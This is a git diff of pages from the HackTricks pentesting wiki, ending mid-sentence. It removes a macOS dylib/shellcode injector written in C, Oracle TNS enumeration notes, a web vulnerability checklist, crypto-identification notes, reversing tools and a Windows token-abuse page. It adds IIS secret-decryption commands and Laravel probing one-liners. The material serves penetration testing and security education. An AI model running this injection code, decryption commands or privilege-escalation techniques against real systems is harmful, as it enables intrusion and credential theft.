- - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } - - - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } - - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } - - - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; - - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 - - const char* p = (const char*) remoteCode64; - - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } - - return (0); -} - - - -int main(int argc, const char * argv[]) -{ - if (argc < 3) - { - fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); - fprintf (stderr, " _action_: path to a dylib on disk\n"); - exit(0); - } - - pid_t pid = atoi(argv[1]); - const char *action = argv[2]; - struct stat buf; - - int rc = stat (action, &buf); - if (rc == 0) inject(pid,action); - else - { - fprintf(stderr,"Dylib not found\n"); - } - -} -``` - -
- -```bash -gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector -./inject -``` - -### Thread Hijacking via Task port - -In this technique a thread of the process is hijacked: - - -{{#ref}} -../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md -{{#endref}} - -## XPC - -### Basic Information - -XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process. - -For more information about how this **communication work** on how it **could be vulnerable** check: - - -{{#ref}} -../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ -{{#endref}} - -## MIG - Mach Interface Generator - -MIG was created to **simplify the process of Mach IPC** code creation. It basically **generates the needed code** for server and client to communicate with a given definition. Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before. - -For more info check: - - -{{#ref}} -../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md -{{#endref}} - -## References - -- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) -- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) -- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a) -- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -{{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md deleted file mode 100644 index b400ed8ba..000000000 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ /dev/null @@ -1,68 +0,0 @@ -# 1521,1522-1529 - Pentesting Oracle TNS Listener - -{{#include ../../banners/hacktricks-training.md}} - -## Basic Information - -Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation (from [here](https://www.techopedia.com/definition/8711/oracle-database)). - -When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port (1521/TCP, -you may also get secondary listeners on 1522–1529-). - -``` -1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) -1748/tcp open oracle-tns Oracle TNS Listener -``` - -## Summary - -1. **Version Enumeration**: Identify version information to search for known vulnerabilities. -2. **TNS Listener Bruteforce**: Sometimes necessary to establish communication. -3. **SID Name Enumeration/Bruteforce**: Discover database names (SID). -4. **Credential Bruteforce**: Attempt to access discovered SID. -5. **Code Execution**: Attempt to run code on the system. - -In order to user MSF oracle modules you need to install some dependencies: [**Installation**](oracle-pentesting-requirements-installation.md) - -## Posts - -Check these posts: - -- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/) -- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) -- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) -- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html) - -## HackTricks Automatic Commands - -``` -Protocol_Name: Oracle #Protocol Abbreviation if there is one. -Port_Number: 1521 #Comma separated if there is more than one. -Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out - -Entry_1: - Name: Notes - Description: Notes for Oracle - Note: | - Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation - - #great oracle enumeration tool - navigate to https://github.com/quentinhardy/odat/releases/ - download the latest - tar -xvf odat-linux-libc2.12-x86_64.tar.gz - cd odat-libc2.12-x86_64/ - ./odat-libc2.12-x86_64 all -s 10.10.10.82 - - for more details check https://github.com/quentinhardy/odat/wiki - - https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html - -Entry_2: - Name: Nmap - Description: Nmap with Oracle Scripts - Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP} -``` - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index d64a189e0..4035fd4ed 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -204,6 +204,31 @@ If you see an error like the following one: It means that the server **didn't receive the correct domain name** inside the Host header.\ In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one. +## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings + +Two common patterns to protect secrets on IIS-hosted .NET apps are: +- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like . +- ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies. + +If you have filesystem or interactive access on the web server, co-located keys often allow decryption. + +- ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis: + +```cmd +# Decrypt a section by app path (site configured in IIS) +%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication" + +# Or specify the physical path (-pef/-pdf write/read to a config file under a dir) +%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication" +``` + +- ASP.NET Core – look for Data Protection key rings stored locally (XML/JSON files) under locations like: + - %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys + - HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry) + - App-managed folder (e.g., App_Data\keys or a Keys directory next to the app) + +With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised. + ## Old IIS vulnerabilities worth looking for ### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index a558d24ed..cd0de4a66 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -115,6 +115,23 @@ For example `http://127.0.0.1:8000/profiles`: This is usually needed for exploiting other Laravel RCE CVEs. +### Fingerprinting & exposed dev endpoints + +Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production: + +- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured. +- `/_debugbar` → Laravel Debugbar assets; often indicates debug mode. +- `/telescope` → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions. +- `/horizon` → Queue dashboard; version disclosure and sometimes CSRF-protected actions. +- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint. + +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` + ### .env Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env` @@ -205,6 +222,8 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/ * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/web-vulnerabilities-methodology/README.md b/src/pentesting-web/web-vulnerabilities-methodology/README.md deleted file mode 100644 index eaaf2388b..000000000 --- a/src/pentesting-web/web-vulnerabilities-methodology/README.md +++ /dev/null @@ -1,132 +0,0 @@ -# Web Vulnerabilities Methodology - -{{#include ../../banners/hacktricks-training.md}} - -In every Web Pentest, there are **several hidden and obvious places that might be vulnerable**. This post is meant to be a checklist to confirm that you have searched for vulnerabilities in all the possible places. - -## Proxies - -> [!TIP] -> Nowadays **web** **applications** usually **uses** some kind of **intermediary** **proxies**, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend. - -- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md) -- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md) -- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html) -- [ ] [**H2C Smuggling**](../h2c-smuggling.md) -- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md) -- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) -- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) -- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md) - -## **User input** - -> [!TIP] -> Most of the web applications will **allow users to input some data that will be processed later.**\ -> Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply. - -### **Reflected Values** - -If the introduced data may somehow be reflected in the response, the page might be vulnerable to several issues. - -- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md) -- [ ] [**Command Injection**](../command-injection.md) -- [ ] [**CRLF**](../crlf-0d-0a.md) -- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) -- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html) -- [ ] [**Open Redirect**](../open-redirect.md) -- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) -- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md) -- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html) -- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html) -- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md) -- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) -- [ ] [**XSS**](../xss-cross-site-scripting/index.html) -- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md) -- [ ] [**XS-Search**](../xs-search.md) - -Some of the mentioned vulnerabilities require special conditions, others just require the content to be reflected. You can find some interesting polygloths to test quickly the vulnerabilities in: - - -{{#ref}} -../pocs-and-polygloths-cheatsheet/ -{{#endref}} - -### **Search functionalities** - -If the functionality may be used to search some kind of data inside the backend, maybe you can (ab)use it to search arbitrary data. - -- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html) -- [ ] [**NoSQL Injection**](../nosql-injection.md) -- [ ] [**LDAP Injection**](../ldap-injection.md) -- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md) -- [ ] [**SQL Injection**](../sql-injection/index.html) -- [ ] [**XPATH Injection**](../xpath-injection.md) - -### **Forms, WebSockets and PostMsgs** - -When a websocket posts a message or a form allowing users to perform actions vulnerabilities may arise. - -- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md) -- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md) -- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html) - -### **HTTP Headers** - -Depending on the HTTP headers given by the web server some vulnerabilities might be present. - -- [ ] [**Clickjacking**](../clickjacking.md) -- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html) -- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html) -- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md) - -### **Bypasses** - -There are several specific functionalities where some workarounds might be useful to bypass them - -- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md) -- [ ] [**Bypass Payment Process**](../bypass-payment-process.md) -- [ ] [**Captcha Bypass**](../captcha-bypass.md) -- [ ] [**Login Bypass**](../login-bypass/index.html) -- [ ] [**Race Condition**](../race-condition.md) -- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md) -- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md) -- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md) - -### **Structured objects / Specific functionalities** - -Some functionalities will require the **data to be structured in a very specific format** (like a language serialized object or XML). Therefore, it's easier to identify if the application might be vulnerable as it needs to be processing that kind of data.\ -Some **specific functionalities** may be also vulnerable if a **specific format of the input is used** (like Email Header Injections). - -- [ ] [**Deserialization**](../deserialization/index.html) -- [ ] [**Email Header Injection**](../email-injections.md) -- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md) -- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md) - -### Files - -Functionalities that allow uploading files might be vulnerable to several issues.\ -Functionalities that generate files including user input might execute unexpected code.\ -Users that open files uploaded by users or automatically generated including user input might be compromised. - -- [ ] [**File Upload**](../file-upload/index.html) -- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md) -- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md) -- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) - -### **External Identity Management** - -- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md) -- [ ] [**SAML Attacks**](../saml-attacks/index.html) - -### **Other Helpful Vulnerabilities** - -These vulnerabilities might help to exploit other vulnerabilities. - -- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md) -- [ ] [**IDOR**](../idor.md) -- [ ] [**Parameter Pollution**](../parameter-pollution.md) -- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html) - -{{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md deleted file mode 100644 index 17a216cd5..000000000 --- a/src/reversing/cryptographic-algorithms/README.md +++ /dev/null @@ -1,186 +0,0 @@ -# Cryptographic/Compression Algorithms - -{{#include ../../banners/hacktricks-training.md}} - -## Identifying Algorithms - -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. - -### API functions - -**CryptDeriveKey** - -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: - -![](<../../images/image (375) (1) (1) (1) (1).png>) - -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) - -**RtlCompressBuffer/RtlDecompressBuffer** - -Compresses and decompresses a given buffer of data. - -**CryptAcquireContext** - -From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. - -**CryptCreateHash** - -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: - -![](<../../images/image (376).png>) - -\ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) - -### Code constants - -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. - -![](<../../images/image (370).png>) - -If you search for the first constant in Google this is what you get: - -![](<../../images/image (371).png>) - -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. - -### data info - -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: - -![](<../../images/image (372).png>) - -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. - -## RC4 **(Symmetric Crypt)** - -### Characteristics - -It's composed of 3 main parts: - -- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. - -> [!TIP] -> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** - -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) - -![](<../../images/image (377).png>) - -### **Scrambling Stage:** - -![](<../../images/image (378).png>) - -### **XOR Stage:** - -![](<../../images/image (379).png>) - -## **AES (Symmetric Crypt)** - -### **Characteristics** - -- Use of **substitution boxes and lookup tables** - - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. - -### SBox constants - -![](<../../images/image (380).png>) - -## Serpent **(Symmetric Crypt)** - -### Characteristics - -- It's rare to find some malware using it but there are examples (Ursnif) -- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) - -### Identifying - -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: - -![](<../../images/image (381).png>) - -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: - -![](<../../images/image (382).png>) - -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). - -## RSA **(Asymmetric Crypt)** - -### Characteristics - -- More complex than symmetric algorithms -- There are no constants! (custom implementation are difficult to determine) -- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. - -### Identifying by comparisons - -![](<../../images/image (383).png>) - -- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` - -## MD5 & SHA (hash) - -### Characteristics - -- 3 functions: Init, Update, Final -- Similar initialize functions - -### Identify - -**Init** - -You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: - -![](<../../images/image (385).png>) - -**MD5 Transform** - -Note the use of more constants - -![](<../../images/image (253) (1) (1) (1).png>) - -## CRC (hash) - -- Smaller and more efficient as it's function is to find accidental changes in data -- Uses lookup tables (so you can identify constants) - -### Identify - -Check **lookup table constants**: - -![](<../../images/image (387).png>) - -A CRC hash algorithm looks like: - -![](<../../images/image (386).png>) - -## APLib (Compression) - -### Characteristics - -- Not recognizable constants -- You can try to write the algorithm in python and search for similar things online - -### Identify - -The graph is quiet large: - -![](<../../images/image (207) (2) (1).png>) - -Check **3 comparisons to recognise it**: - -![](<../../images/image (384).png>) - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/reversing/reversing-tools/README.md b/src/reversing/reversing-tools/README.md deleted file mode 100644 index 246632d3f..000000000 --- a/src/reversing/reversing-tools/README.md +++ /dev/null @@ -1,119 +0,0 @@ -# Reversing Tools - -{{#include ../../banners/hacktricks-training.md}} - - -## Wasm Decompilation and Wat Compilation Guide -In the realm of **WebAssembly**, tools for **decompiling** and **compiling** are essential for developers. This guide introduces some online resources and software for handling **Wasm (WebAssembly binary)** and **Wat (WebAssembly text)** files. - -### Online Tools - -- To **decompile** Wasm to Wat, the tool available at [Wabt's wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) comes in handy. -- For **compiling** Wat back to Wasm, [Wabt's wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/) serves the purpose. -- Another decompilation option can be found at [web-wasmdec](https://wwwg.github.io/web-wasmdec/). - -### Software Solutions - -- For a more robust solution, [JEB by PNF Software](https://www.pnfsoftware.com/jeb/demo) offers extensive features. -- The open-source project [wasmdec](https://github.com/wwwg/wasmdec) is also available for decompilation tasks. - -## .Net Decompilation Resources - -Decompiling .Net assemblies can be accomplished with tools such as: - -- [ILSpy](https://github.com/icsharpcode/ILSpy), which also offers a [plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), allowing cross-platform usage. -- For tasks involving **decompilation**, **modification**, and **recompilation**, [dnSpy](https://github.com/0xd4d/dnSpy/releases) is highly recommended. **Right-clicking** a method and choosing **Modify Method** enables code changes. -- [JetBrains' dotPeek](https://www.jetbrains.com/es-es/decompiler/) is another alternative for decompiling .Net assemblies. - -### Enhancing Debugging and Logging with DNSpy - -#### DNSpy Logging - -To log information to a file using DNSpy, incorporate the following .Net code snippet: - -```cpp -using System.IO; -path = "C:\\inetpub\\temp\\MyTest2.txt"; -File.AppendAllText(path, "Password: " + password + "\n"); -``` - -#### DNSpy Debugging - -For effective debugging with DNSpy, a sequence of steps is recommended to adjust **Assembly attributes** for debugging, ensuring that optimizations that could hinder debugging are disabled. This process includes changing the `DebuggableAttribute` settings, recompiling the assembly, and saving the changes. - -Moreover, to debug a .Net application run by **IIS**, executing `iisreset /noforce` restarts IIS. To attach DNSpy to the IIS process for debugging, the guide instructs on selecting the **w3wp.exe** process within DNSpy and starting the debugging session. - -For a comprehensive view of loaded modules during debugging, accessing the **Modules** window in DNSpy is advised, followed by opening all modules and sorting assemblies for easier navigation and debugging. - -This guide encapsulates the essence of WebAssembly and .Net decompilation, offering a pathway for developers to navigate these tasks with ease. - -## **Java Decompiler** - -To decompile Java bytecode, these tools can be very helpful: - -- [jadx](https://github.com/skylot/jadx) -- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases) - -## **Debugging DLLs** - -### Using IDA - -- **Rundll32** is loaded from specific paths for 64-bit and 32-bit versions. -- **Windbg** is selected as the debugger with the option to suspend on library load/unload enabled. -- Execution parameters include the DLL path and function name. This setup halts execution upon each DLL's loading. - -### Using x64dbg/x32dbg - -- Similar to IDA, **rundll32** is loaded with command line modifications to specify the DLL and function. -- Settings are adjusted to break on DLL entry, allowing breakpoint setting at the desired DLL entry point. - -### Images - -- Execution stopping points and configurations are illustrated through screenshots. - -## **ARM & MIPS** - -- For emulation, [arm_now](https://github.com/nongiach/arm_now) is a useful resource. - -## **Shellcodes** - -### Debugging Techniques - -- **Blobrunner** and **jmp2it** are tools for allocating shellcodes in memory and debugging them with Ida or x64dbg. - - Blobrunner [releases](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5) - - jmp2it [compiled version](https://github.com/adamkramer/jmp2it/releases/) -- **Cutter** offers GUI-based shellcode emulation and inspection, highlighting differences in shellcode handling as a file versus direct shellcode. - -### Deobfuscation and Analysis - -- **scdbg** provides insights into shellcode functions and deobfuscation capabilities. - ```bash - scdbg.exe -f shellcode # Basic info - scdbg.exe -f shellcode -r # Analysis report - scdbg.exe -f shellcode -i -r # Interactive hooks - scdbg.exe -f shellcode -d # Dump decoded shellcode - scdbg.exe -f shellcode /findsc # Find start offset - scdbg.exe -f shellcode /foff 0x0000004D # Execute from offset - ``` - -- **CyberChef** for disassembling shellcode: [CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29) - -## **Movfuscator** - -- An obfuscator that replaces all instructions with `mov`. -- Useful resources include a [YouTube explanation](https://www.youtube.com/watch?v=2VF_wPkiBJY) and [PDF slides](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf). -- **demovfuscator** might reverse movfuscator's obfuscation, requiring dependencies like `libcapstone-dev` and `libz3-dev`, and installing [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md). - -## **Delphi** - -- For Delphi binaries, [IDR](https://github.com/crypto2011/IDR) is recommended. - -# Courses - -- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering) -- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Binary deobfuscation\) - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md deleted file mode 100644 index 93db26ab9..000000000 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ /dev/null @@ -1,199 +0,0 @@ -# Abusing Tokens - -{{#include ../../../banners/hacktricks-training.md}} - -## Tokens - -If you **don't know what are Windows Access Tokens** read this page before continuing: - - -{{#ref}} -../access-tokens.md -{{#endref}} - -**Maybe you could be able to escalate privileges abusing the tokens you already have** - -### SeImpersonatePrivilege - -This is privilege that is held by any process allows the impersonation (but not creation) of any token, given that a handle to it can be obtained. A privileged token can be acquired from a Windows service (DCOM) by inducing it to perform NTLM authentication against an exploit, subsequently enabling the execution of a process with SYSTEM privileges. This vulnerability can be exploited using various tools, such as [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (which requires winrm to be disabled), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) and [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). - - -{{#ref}} -../roguepotato-and-printspoofer.md -{{#endref}} - - -{{#ref}} -../juicypotato.md -{{#endref}} - -### SeAssignPrimaryPrivilege - -It is very similar to **SeImpersonatePrivilege**, it will use the **same method** to get a privileged token.\ -Then, this privilege allows **to assign a primary token** to a new/suspended process. With the privileged impersonation token you can derivate a primary token (DuplicateTokenEx).\ -With the token, you can create a **new process** with 'CreateProcessAsUser' or create a process suspended and **set the token** (in general, you cannot modify the primary token of a running process). - -### SeTcbPrivilege - -If you have enabled this token you can use **KERB_S4U_LOGON** to get an **impersonation token** for any other user without knowing the credentials, **add an arbitrary group** (admins) to the token, set the **integrity level** of the token to "**medium**", and assign this token to the **current thread** (SetThreadToken). - -### SeBackupPrivilege - -The system is caused to **grant all read access** control to any file (limited to read operations) by this privilege. It is utilized for **reading the password hashes of local Administrator** accounts from the registry, following which, tools like "**psexec**" or "**wmiexec**" can be used with the hash (Pass-the-Hash technique). However, this technique fails under two conditions: when 